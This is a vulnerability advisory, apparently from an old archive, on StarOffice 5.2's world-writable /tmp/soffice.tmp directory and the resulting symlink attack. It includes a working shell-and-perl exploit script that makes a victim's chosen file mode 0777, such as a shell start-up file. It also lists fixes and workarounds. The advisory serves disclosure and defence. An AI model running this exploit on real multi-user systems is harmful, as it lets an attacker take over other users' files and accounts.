Vulnerability

    StarOffice

Affected

    StarOffice 5.2

Description

    Christian  found  following.   A   while  back  he  noticed   that
    StarOffice  5.2  (running  under  Linux  and  Solaris)  creates  a
    temporary directory  under /tmp  with the  name "soffice.tmp" with
    permissions 0777.  Christian figured there had to be some security
    issue here so he  had a further look  and noticed that there  were
    files created under here called  svXXXX.tmp (where XXXX is a  four
    or  sometimes  five   digit  number)  which   seemed  to   contain
    configuration information of some sort.  Now while there might  be
    a  whole  bunch  of  possible  issues  with  this in terms of race
    conditions and symbolic links, there  actually seems to be a  much
    easier way of attacking it.

    When  StarOffice  creates  the  /tmp/soffice.tmp  directory  (with
    explicitly  set  permissions  0777),  it  also  seems to sometimes
    chmod() this directory  to 0777 afterwards.   Therefore if user  A
    were to create a  symbolic link to any  file owned by user  B, and
    if user  B were  to run  StarOffice the  target of  the link  will
    become 0777.  As a result, if the directory containing this target
    is accessible by user A, they  can do whatever they want with  the
    target file.  Some trivially exploitable scenarios here include:

        - gaining access to sensitive files (e.g., encrypted files  or
          those containing private keys)
        - making user B's mail spool file world read/write-able
        - linking  to  a  shell  start-up  file  (e.g.,    ~/.profile,
          ~/.bashrc,   ~/.cshrc   etc.)   which   will   become  world
          read/write-able  and  hence  can  be  modified  to   execute
          whatever user A wants next time user B logs in.

    Note  that  there  is  no  race  condition here, the sym link just
    needs to be made  before StarOffice is run  by the victim.   There
    is also no  issue in guessing  the temporary directory  name -- it
    is  always  "soffice.tmp".   Also,  from  user  B's point of view,
    there  is  no  indication  that  anything  has  gone  wrong.  From
    testing (admittedly not  extensive), StarOffice performs  as usual
    while being attacked  giving no error  message or such  (i.e., for
    those of us on SECPROG, it's quite reliable).

    The only two restrictions found  are that the target file  must be
    in a  directory accessible  by the  attacker (otherwise  it's 0777
    perms are not that useful) and the target must NOT have executable
    permission set.  If it does then there seems to be no effect.

    This was  not tested  extensively, nor  looked at  the source code
    which is now available apparently, so we are not sure exactly  why
    this is.   To be  honest it's  pretty baffling  that someone would
    create a directory  with 0777 permissions,  let alone the  chmod()
    it to  0777 (thus  avoiding the  effect of  the umask).   The only
    reason we  can think  of is  where more  than one  user is running
    StarOffice  on  the  same  machine  and  since  the  "soffice.tmp"
    directory name  is constant,  all users  had to  have access to it
    (obviously  generating   a  new   directory  name   with  a   good
    pseudorandom  number  attached  to  the  end  would  be  a  better
    approach).

    The impact of this vulnerability is obviously fairly minimal on  a
    single-user workstation system but  in an environment where  there
    is  a  central  server  with  multiple  users then anyone who uses
    StarOffice is at significant risk.

    Here is the xploit code (by  JeT Li), to make sure that  this will
    work,  run  first  staroffice,  so   you  will  become  owner   of
    /tmp/soffice.tmp, necessary to remove it and create the symlink.

    #!/bin/sh SOFFICE="/tmp/soffice.tmp"
    TARGETFILE=$1
    
    if [ $# != 1 ]; then
        echo
        echo "	   - = HeliSec - Helios Security and Administration = -"
        echo "Usage : "
        echo "./soffice.sh <file>"
        echo "Set 0777 permissions to any file (access to the directory of the file needed)"
        echo "						JeT Li	-The Wushu Master-"
        exit
    fi
    
    if [ ! -f ${TARGETFILE} ]; then
        echo "Target file must exist"
        exit
    fi
    
    rm -rf ${SOFFICE}
    ln -sn ${TARGETFILE} ${SOFFICE}
    echo
    echo "Symbolik link done ..."
    echo
    
    perl -e '$a=`ps aux | grep office`; $a =~ /soffice\.bin/ ?
    print "StarOffice is running on this machine ... wait a minutes and
    the permissions will have been set.\n" :
    print "StarOffice is not running on this machine ...you may wait for
    the signal (not recommended) or CTRL+C the program; when the user
    run StarOffice the permissions will be set automaticly\n";'
    
    while :
    do
    if [ `ls -al ${TARGETFILE} | awk '{printf $1}'` = "-rwxrwxrwx" ]; then
        echo
        echo "Permissions set succesfully ... good luck ;-)"
        echo
        echo "- = HeliSec - Helios Security and Administration = -"
        echo "		  JeT Li	-The Wushu Master-"
        exit
    fi
    done

Solution

    The fix has  been checked-in to  StarOffice 5.2 SP1.   Patches are
    in the  works for  the current  version (5.2)  and other supported
    lower versions (5.1a) against the current supported platforms  for
    each release.

    A workaround  is to  set the  environment variable  TMP to  a safe
    alternative  before   running  StarOffice.    If   you  do   this,
    StarOffice will create the mode 0777 dir inside $TMP.

    A  real  quick  workaround  is   to  make  (as  root)  a   "fixed"
    /tmp/soffice.tmp 777 +t dir.

        drwxrwxrwt    2 root     root         1024 Nov  9 11:39 soffice.tmp

    Note that files created by SO in this dir are still readable  (but
    not writable) by other users, so change the $TMP var is  probabily
    better.